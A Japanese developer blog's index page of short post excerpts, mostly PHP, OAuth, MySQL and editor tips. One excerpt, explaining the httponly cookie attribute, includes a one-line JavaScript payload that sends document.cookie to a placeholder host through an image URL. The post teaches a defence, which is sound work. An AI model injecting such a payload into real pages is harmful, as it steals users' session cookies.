SOFTELメモ Developer's blog

SOFTELメモは、株式会社ソフテルの中の開発の人がときどき書いているメモです。

【OGP】Open Graph 情報の デバッグ

問題 OG情報をMetaタグで入れたんだけど、ちゃんとできてるかな? 答え こちらなどで確認できる。 facebook → ツール → デバッガー

素のphp5.4でOAuthする(tumblr編)

問題 tumblrにアプリを登録して、APIで投稿できるところまでやってみて! 解答例 OAuthの仕様にはいろんなケースを考慮して細かいところまで書かれているが、用途が限定されていれば、パラメータの並び替えならksor […]

素のphpでOAuthする

概要 なるべく素のphpでOAuthしてみる。 これで他のライブラリ等に依存しなくても、twitterのAPIや、tumblerのAPIが使える。 アクセストークンを取得するまでの流れはまた別な機会に。アクセストークンが […]

OAuth.phpだけで twitter APIする

問題 twitterのAPIを使うライブラリはいろいろあるけど、なるべくシンプルな装備でtwitterのAPIを使えないか。phpで。 解答例 OAuth.php(http://code.google.com/p/oau […]

gmailに外部からログインしようとしたときにエラー

問題 外部からGmailにログインしてメールの送受信をしようとしたのですが、以下のエラーで先に進めません。 NO [ALERT] Web login required: http://support.google.com […]

【数学】どうして (a+b)^2 = a^2 + 2ab + b^2 なの

問題 どうして (a + b)^2 = a^2 + 2ab + b^2 なの? 回答例 1 a + b を長さで表すと 2 一辺が長さ a + b の正方形の面積は 3 一辺が長さ a + b の正方形の面積は 4 つま […]

【WordPress】記事中で使用している画像を1つ取得する

問題 WordPressで、記事中で使用している画像を1つ取得して、OGP(Open Graph Protocol)のmetaタグ(property="og:image")に利用したり、サムネイル表示などに使いたい。 答 […]

【Javascript】いいね!ボタンやツイートボタンのスクリプトを外部jsに出す

問題 Google+ボタンや、いいね!ボタンや、ツイートボタンやはてなブックマークボタンのJavascriptは、HTML下部にしか書けないのかな? <script type="text/javascript" s […]

【php】10kg入る箱3つに詰めたい

問題 10kgまで入る箱があって、商品(複数)を、3箱以内に梱包できるかチェックしたい。 商品が、1kg, 2kg, 3kg, 4kg, 5kg, 6kg, 7kg あったら、 箱1 => [4, 6] 箱2 => [3 […]

【MySQL】カンマ区切りデータを扱う

問題 テキスト型のカラムにカンマ区切りのデータが入っているらしいんだけど、like検索するしかないかな? 答え 1 MySQLならでは。FIND_IN_SET関数がある。 FIND_IN_SET(str, strlist […]

【php】やってしまうと見つけにくい不具合

問題 ↓ これは普通の結果ですが... $ php -r 'var_dump(1 > 2);' bool(false) ↓ これはどうしたことでしょう? $ php -r 'var_dump(1 > 2);' bool( […]

tmhOAuthでエラー(レスポンスコード0、エラー番号60)

問題 tmhOAuthというtwitterのOAuth libraryを使って、phpスクリプトからtwitterに投稿しようとしたのですが、 レスポンスのコードは0、以下のエラーが返ってきました。 error sett […]

【php】twitterのREST APIで画像付きツイートをする

問題 twitterの REST APIの statuses/update_with_media で、画像つきツイートをしたい。 答え OAuthするので、既存のライブラリを使うのが手軽でしょう。 statuses/up […]

【eclipse】エディタのウィンドウの上下分割、左右分割

問題 Eclipseのエディタで、あるファイルの違う部分を、ウインドウを上下分割や左右分割して編集できます? 答え タブを右クリックして、新しいエディタで開くを選択。 同じファイルを開いたタブが2つできる。 タブをドラッ […]

【JavaScript】エラーをalertで出すこと

よく見かけるalertでのエラー表示、 //... if ("エラーがあったら") { alert("エラーです!"); return false; } //... 最近のブラウザは、alertが連続すると下の画像のよう […]

【MySQL】Unknown command '\''.

問題 MySQLで、ダンプをリストアしていたら、こんなエラーに出会いました。 Unknown command '\''. 答え クライアント側(mysqlコマンド)の文字コードの設定をする。 コマンドラインオプションで以 […]

【Windows】ショートカットキー一覧

マウスとキーボードを行ったり来たりするのが面倒。ひざの上にノートパソコンのスタイルでマウスが使いづらい。 そんなときのためにショートカットキー。 Windows7からは、Windowsキー+上下左右キーでウインドウの操作 […]

MySQLのtimestamp型について

MySQL4.0系列までのtimestamp型は内部的にはInteger型と同等で、2037年までしか使えないという問題がありましたが、その問題は MySQL4.1 以降で改善しました。 現在のtimestamp型は、内 […]

Cookieを盗む例とhttponly属性

以下は、とても単純なJavascriptによる例。 document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '"&g […]

【php】POP3でメールを読む

問題 phpで、他のライブラリなどを使わないで、メールサーバーにあるメールをpopで読み出したい。 答え fsockopen()関数を使う。 ごく普通の110番ポートのSSL無しのPOP3の場合。 <?php // […]